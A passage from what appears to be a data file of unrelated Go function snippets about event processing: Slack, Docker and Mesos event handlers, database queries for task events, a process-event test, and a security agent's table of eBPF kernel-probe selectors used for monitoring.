map[string][]NodeEvent {\n\tm := map[string][]NodeEvent{}\n\ts.outputEvents.Range(func(key, value any) bool {\n\t\tm[key.(string)] = value.(*events).Extract()\n\t\treturn true\n\t})\n\treturn m\n}", "func (p *EventProcessor) Process(events []publisher.Event) []publisher.Event {\n\n\tnewEvents := make([]publisher.Event, 0)\n\tfor _, event := range events {\n\t\tnewEvents, _ = p.ProcessEvent(newEvents, event)\n\t}\n\treturn newEvents\n}", "func (eventRouter EventRouter) Events() []string {\n\teventKeys := make([]string, 0, len(eventRouter.mappings))\n\n\tfor k := range eventRouter.mappings {\n\t\teventKeys = append(eventKeys, k)\n\t}\n\n\treturn eventKeys\n}", "func EventProcessor(con *Connection, respond messageProcessor, hear messageProcessor) {\n\tp := Processor{\n\t\tcon: con,\n\t\tself: con.config.Self,\n\t\teventHandlers: map[string]func(*Processor, map[string]interface{}, []byte){\n\t\t\tslackEventTypeMessage: func(p *Processor, event map[string]interface{}, rawEvent []byte) {\n\t\t\t\tfilterMessage(p, event, respond, hear)\n\t\t\t},\n\t\t\t\"user_change\": func(p *Processor, event map[string]interface{}, rawEvent []byte) {\n\t\t\t\tvar userEvent userChangeEvent\n\t\t\t\terr := json.Unmarshal(rawEvent, &userEvent)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Printf(\"%T\\n%s\\n%#v\\n\", err, err, err)\n\t\t\t\t\tswitch v := err.(type) {\n\t\t\t\t\tcase *json.SyntaxError:\n\t\t\t\t\t\tfmt.Println(string(rawEvent[v.Offset-40 : v.Offset]))\n\t\t\t\t\t}\n\t\t\t\t\tlog.Printf(\"%s\", rawEvent)\n\t\t\t\t}\n\t\t\t\tp.updateUser(userEvent.UpdatedUser)\n\t\t\t},\n\t\t\t\"hello\": func(p *Processor, event map[string]interface{}, rawEvent []byte) {\n\t\t\t\tp.onConnected(con)\n\t\t\t},\n\t\t\t\"error\": func(p *Processor, event map[string]interface{}, rawEvent []byte) {\n\t\t\t\tlog.Printf(\"Error received from Slack: %s\", rawEvent)\n\t\t\t},\n\t\t},\n\t\tusers: make(map[string]User),\n\t}\n\n\tp.Start()\n}", "func policyEvents(us resource.PolicyUpdates, now time.Time) map[string]event.Event {\n\teventsByType := map[string]event.Event{}\n\tfor workloadID, update := range us {\n\t\tfor _, eventType := range policyEventTypes(update) {\n\t\t\te, ok := eventsByType[eventType]\n\t\t\tif !ok {\n\t\t\t\te = event.Event{\n\t\t\t\t\tServiceIDs: []resource.ID{},\n\t\t\t\t\tType: eventType,\n\t\t\t\t\tStartedAt: now,\n\t\t\t\t\tEndedAt: now,\n\t\t\t\t\tLogLevel: event.LogLevelInfo,\n\t\t\t\t}\n\t\t\t}\n\t\t\te.ServiceIDs = append(e.ServiceIDs, workloadID)\n\t\t\teventsByType[eventType] = e\n\t\t}\n\t}\n\treturn eventsByType\n}", "func TaskProcessInfoEvents(taskId string, ts time.Time, limit, sort int) db.Q {\n\tfilter := bson.M{\n\t\tDataKey + \".\" + ResourceTypeKey: EventTaskProcessInfo,\n\t\tResourceIdKey: taskId,\n\t\tTypeKey: EventTaskProcessInfo,\n\t}\n\n\tsortSpec := TimestampKey\n\n\tif sort < 0 {\n\t\tsortSpec = \"-\" + sortSpec\n\t\tfilter[TimestampKey] = bson.M{\"$lte\": ts}\n\t} else {\n\t\tfilter[TimestampKey] = bson.M{\"$gte\": ts}\n\t}\n\n\treturn db.Query(filter).Sort([]string{sortSpec}).Limit(limit)\n}", "func (e *EventLogger) ProcessEvents() {\n\te.CreateEventLogs()\n\te.WriteEventLogs()\n}", "func getCallbacks(m *mesosManager) map[string]schedulerEventCallback {\n\tprocedures := make(map[string]schedulerEventCallback)\n\tcallbacks := map[sched.Event_Type]schedulerEventCallback{\n\t\tsched.Event_SUBSCRIBED: m.Subscribed,\n\t\tsched.Event_MESSAGE: m.Message,\n\t\tsched.Event_FAILURE: m.Failure,\n\t\tsched.Event_ERROR: m.Error,\n\t\tsched.Event_HEARTBEAT: m.Heartbeat,\n\t\tsched.Event_UNKNOWN: m.Unknown,\n\t}\n\tfor typ, hdl := range callbacks {\n\t\tname := typ.String()\n\t\tprocedures[name] = hdl\n\t}\n\treturn procedures\n}", "func aggregateEvents(events []*docker.ContainerEvent, filteredActions []string) map[string]*dockerEventBundle {\n\t// Pre-aggregate container events by image\n\teventsByImage := make(map[string]*dockerEventBundle)\n\tfilteredByType := make(map[string]int)\n\n\tfor _, event := range events {\n\t\tif matchFilter(event.Action, filteredActions) {\n\t\t\tfilteredByType[event.Action] = filteredByType[event.Action] + 1\n\t\t\tcontinue\n\t\t}\n\t\tbundle, found := eventsByImage[event.ImageName]\n\t\tif found == false {\n\t\t\tbundle = newDockerEventBundler(event.ImageName)\n\t\t\teventsByImage[event.ImageName] = bundle\n\t\t}\n\t\tbundle.addEvent(event) //nolint:errcheck\n\t}\n\n\tif len(filteredByType) > 0 {\n\t\tlog.Debugf(\"filtered out the following events: %s\", formatStringIntMap(filteredByType))\n\t}\n\treturn eventsByImage\n}", "func Events(payloadCh <-chan []byte, registryCh chan<- client.RegistryFunc) {\n\tpackets := make(map[uint64]client.RegistryFunc)\n\n\tgo func(payloadCh <-chan []byte, registryCh chan<- client.RegistryFunc) {\n\t\tvar index uint64 = startingIndex\n\n\t\tdefer close(registryCh)\n\n\t\tfor payload := range payloadCh {\n\t\t\tpkt, err := event.Parse(payload)\n\t\t\tif err != nil {\n\t\t\t\t// TODO(tmrts): might try to read the packet sequence no and skip that packet\n\t\t\t\t// to make sure the flow continues.\n\t\t\t\tlog.Debug(fmt.Sprintf(\"event.Parse(%#q) got error %#q\", string(payload), err))\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tseq := pkt.Sequence()\n\t\t\t// Ignores packets with same sequence numbers or\n\t\t\t// lower than current index numbers.\n\t\t\tif _, ok := packets[seq]; !ok && seq >= index {\n\t\t\t\tpackets[seq] = notify.FuncFor(pkt)\n\t\t\t}\n\n\t\t\tfor {\n\t\t\t\tpkt, ok := packets[index]\n\t\t\t\tif !ok {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tregistryCh <- pkt\n\n\t\t\t\t// Evicts used event packets\n\t\t\t\t// NOTE: Bulk delete might increase performance\n\t\t\t\tdelete(packets, index)\n\n\t\t\t\tindex++\n\t\t\t}\n\t\t}\n\n\t\t// Send the remaning events\n\t\tfor {\n\t\t\tpkt, ok := packets[index]\n\t\t\tif !ok {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tregistryCh <- pkt\n\t\t\tindex++\n\t\t}\n\t}(payloadCh, registryCh)\n}", "func (c *ComunicationChannels) ProcessEvents(event string, data []byte, eventSourceId int) {\n\tTrace.Printf(\"Received %s event with this data: %s\\n\", event, string(data))\n\n\tif event == \"createPlayer\" {\n\t\taddReq := ReadCreatePlayerEvent(data)\n\t\taddReq.sourceId = eventSourceId\n\t\tc.addChannel <- addReq\n\n\t} else if event == \"move\" {\n\t\tmoveReq := ReadMoveEvent(data)\n\t\tmoveReq.sourceId = eventSourceId\n\t\tc.moveChannel <- moveReq\n\t}\n}", "func CountProcessEvents(taskId string) (int, error) {\n\tfilter := bson.M{\n\t\tDataKey + \".\" + ResourceTypeKey: EventTaskProcessInfo,\n\t\tTypeKey: EventTaskProcessInfo,\n\t}\n\n\tif taskId != \"\" {\n\t\tfilter[ResourceIdKey] = taskId\n\t}\n\n\treturn db.CountQ(TaskLogCollection, db.Query(filter))\n}", "func (emitter *EventEmitter) EventNames() []string {\n\treturn getListenerMapKeys(emitter.listenerMap)\n}", "func (d *Docker) Events(ctx context.Context, filters map[string]string) (<-chan *types.WorkloadEventMessage, <-chan error) {\n\teventChan := make(chan *types.WorkloadEventMessage)\n\terrChan := make(chan error)\n\n\t_ = utils.Pool.Submit(func() {\n\t\tdefer close(eventChan)\n\t\tdefer close(errChan)\n\n\t\tf := d.getFilterArgs(filters)\n\t\tf.Add(\"type\", events.ContainerEventType)\n\t\toptions := enginetypes.EventsOptions{Filters: f}\n\t\tm, e := d.client.Events(ctx, options)\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase message := <-m:\n\t\t\t\teventChan <- &types.WorkloadEventMessage{\n\t\t\t\t\tID: message.ID,\n\t\t\t\t\tType: message.Type,\n\t\t\t\t\tAction: message.Action,\n\t\t\t\t\tTimeNano: message.TimeNano,\n\t\t\t\t}\n\t\t\tcase err := <-e:\n\t\t\t\terrChan <- err\n\t\t\t\treturn\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t})\n\n\treturn eventChan, errChan\n}", "func (engine *DockerTaskEngine) TaskEvents() (<-chan api.ContainerStateChange, <-chan error) {\n\treturn engine.container_events, engine.event_errors\n}", "func NewEventProcessor() EventProcessorBuilder {\n\treturn EventProcessorBuilder{}\n}", "func TestProcessEventFiltering(t *testing.T) {\n\trawEvents := make([]*model.ProcessEvent, 0)\n\thandlers := make([]EventHandler, 0)\n\n\t// The listener should drop unexpected events and not call the EventHandler for it\n\trawEvents = append(rawEvents, model.NewMockedForkEvent(time.Now(), 23, \"/usr/bin/ls\", []string{\"ls\", \"-lah\"}))\n\n\t// Verify that expected events are correctly consumed\n\trawEvents = append(rawEvents, model.NewMockedExecEvent(time.Now(), 23, \"/usr/bin/ls\", []string{\"ls\", \"-lah\"}))\n\thandlers = append(handlers, func(e *model.ProcessEvent) {\n\t\trequire.Equal(t, model.Exec, e.EventType)\n\t\trequire.Equal(t, uint32(23), e.Pid)\n\t})\n\n\trawEvents = append(rawEvents, model.NewMockedExitEvent(time.Now(), 23, \"/usr/bin/ls\", []string{\"ls\", \"-lah\"}, 0))\n\thandlers = append(handlers, func(e *model.ProcessEvent) {\n\t\trequire.Equal(t, model.Exit, e.EventType)\n\t\trequire.Equal(t, uint32(23), e.Pid)\n\t})\n\n\t// To avoid race conditions, all handlers should be assigned during the creation of SysProbeListener\n\tcalledHandlers := 0\n\thandler := func(e *model.ProcessEvent) {\n\t\thandlers[calledHandlers](e)\n\t\tcalledHandlers++\n\t}\n\n\tl, err := NewSysProbeListener(nil, nil, handler)\n\trequire.NoError(t, err)\n\n\tfor _, e := range rawEvents {\n\t\tdata, err := e.MarshalMsg(nil)\n\t\trequire.NoError(t, err)\n\t\tl.consumeData(data)\n\t}\n\tassert.Equal(t, len(handlers), calledHandlers)\n}", "func ProcessEvents() {\n\tmore := true\n\tfor more && !QuitRequested {\n\t\tn := peepEvents()\n\t\tfor i := 0; i < n && !QuitRequested; i++ {\n\t\t\te := eventAt(i)\n\t\t\tdispatch(e)\n\t\t}\n\t\tmore = n >= C.PEEP_SIZE\n\t}\n}", "func EventFilterFields(r Resource) map[string]string {\n\tresource := r.(*EventFilter)\n\treturn map[string]string{\n\t\t\"filter.name\": resource.ObjectMeta.Name,\n\t\t\"filter.namespace\": resource.ObjectMeta.Namespace,\n\t\t\"filter.action\": resource.Action,\n\t\t\"filter.runtime_assets\": strings.Join(resource.RuntimeAssets, \",\"),\n\t}\n}", "func (o RegistryTaskSourceTriggerOutput) Events() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v RegistryTaskSourceTrigger) []string { return v.Events }).(pulumi.StringArrayOutput)\n}", "func GetSelectorsPerEventType() map[eval.EventType][]manager.ProbesSelector {\n\tif selectorsPerEventTypeStore == nil {\n\t\tselectorsPerEventTypeStore = map[eval.EventType][]manager.ProbesSelector{\n\t\t\t// The following probes will always be activated, regardless of the loaded rules\n\t\t\t\"*\": {\n\t\t\t\t// Exec probes\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"tracepoint/raw_syscalls/sys_exit\", EBPFFuncName: \"sys_exit\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"tracepoint/sched/sched_process_fork\", EBPFFuncName: \"sched_process_fork\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/do_exit\", EBPFFuncName: \"kprobe_do_exit\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/security_bprm_committed_creds\", EBPFFuncName: \"kprobe_security_bprm_committed_creds\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/exit_itimers\", EBPFFuncName: \"kprobe_exit_itimers\"}},\n\t\t\t\t\t&manager.BestEffort{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/prepare_binprm\", EBPFFuncName: \"kprobe_prepare_binprm\"}},\n\t\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/bprm_execve\", EBPFFuncName: \"kprobe_bprm_execve\"}},\n\t\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/security_bprm_check\", EBPFFuncName: \"kprobe_security_bprm_check\"}},\n\t\t\t\t\t}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/vfs_open\", EBPFFuncName: \"kprobe_vfs_open\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/do_dentry_open\", EBPFFuncName: \"kprobe_do_dentry_open\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/commit_creds\", EBPFFuncName: \"kprobe_commit_creds\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kretprobe/__task_pid_nr_ns\", EBPFFuncName: \"kretprobe__task_pid_nr_ns\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kretprobe/alloc_pid\", EBPFFuncName: \"kretprobe_alloc_pid\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/switch_task_namespaces\", EBPFFuncName: \"kprobe_switch_task_namespaces\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/cgroup_procs_write\", EBPFFuncName: \"kprobe_cgroup_procs_write\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/cgroup1_procs_write\", EBPFFuncName: \"kprobe_cgroup1_procs_write\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/_do_fork\", EBPFFuncName: \"kprobe__do_fork\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/do_fork\", EBPFFuncName: \"kprobe_do_fork\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/kernel_clone\", EBPFFuncName: \"kprobe_kernel_clone\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/cgroup_tasks_write\", EBPFFuncName: \"kprobe_cgroup_tasks_write\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/cgroup1_tasks_write\", EBPFFuncName: \"kprobe_cgroup1_tasks_write\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"execve\"}, Entry),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"execveat\"}, Entry),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setuid\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setuid16\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setgid\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setgid16\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"seteuid\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"seteuid16\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setegid\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setegid16\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setfsuid\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setfsuid16\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setfsgid\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setfsgid16\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setreuid\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setreuid16\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setregid\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setregid16\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setresuid\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setresuid16\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setresgid\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"setresgid16\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"capset\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"fork\"}, Entry),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"vfork\"}, Entry),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"clone\"}, Entry),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"clone3\"}, Entry),\n\t\t\t\t},\n\n\t\t\t\t// File Attributes\n\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/security_inode_setattr\", EBPFFuncName: \"kprobe_security_inode_setattr\"}},\n\n\t\t\t\t// Open probes\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/vfs_truncate\", EBPFFuncName: \"kprobe_vfs_truncate\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"open\"}, EntryAndExit, true),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"creat\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"truncate\"}, EntryAndExit, true),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"openat\"}, EntryAndExit, true),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"openat2\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"open_by_handle_at\"}, EntryAndExit, true),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/__io_openat_prep\", EBPFFuncName: \"kprobe___io_openat_prep\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/io_openat2\", EBPFFuncName: \"kprobe_io_openat2\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kretprobe/io_openat2\", EBPFFuncName: \"kretprobe_io_openat2\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/filp_close\", EBPFFuncName: \"kprobe_filp_close\"}},\n\t\t\t\t}},\n\n\t\t\t\t// Mount probes\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/attach_recursive_mnt\", EBPFFuncName: \"kprobe_attach_recursive_mnt\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/propagate_mnt\", EBPFFuncName: \"kprobe_propagate_mnt\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/security_sb_umount\", EBPFFuncName: \"kprobe_security_sb_umount\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"mount\"}, EntryAndExit, true),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"umount\"}, EntryAndExit),\n\t\t\t\t},\n\n\t\t\t\t// Rename probes\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/vfs_rename\", EBPFFuncName: \"kprobe_vfs_rename\"}},\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/mnt_want_write\", EBPFFuncName: \"kprobe_mnt_want_write\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"rename\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"renameat\"}, EntryAndExit),\n\t\t\t\t},\n\t\t\t\t&manager.BestEffort{Selectors: append(\n\t\t\t\t\t[]manager.ProbesSelector{\n\t\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/do_renameat2\", EBPFFuncName: \"kprobe_do_renameat2\"}},\n\t\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kretprobe/do_renameat2\", EBPFFuncName: \"kretprobe_do_renameat2\"}},\n\t\t\t\t\t},\n\t\t\t\t\tExpandSyscallProbesSelector(manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"renameat2\"}, EntryAndExit)...),\n\t\t\t\t},\n\n\t\t\t\t// unlink rmdir probes\n\t\t\t\t&manager.AllOf{Selectors: []manager.ProbesSelector{\n\t\t\t\t\t&manager.ProbeSelector{ProbeIdentificationPair: manager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"kprobe/mnt_want_write\", EBPFFuncName: \"kprobe_mnt_want_write\"}},\n\t\t\t\t}},\n\t\t\t\t&manager.OneOf{Selectors: ExpandSyscallProbesSelector(\n\t\t\t\t\tmanager.ProbeIdentificationPair{UID: SecurityAgentUID, EBPFSection: \"unlinkat\"}, 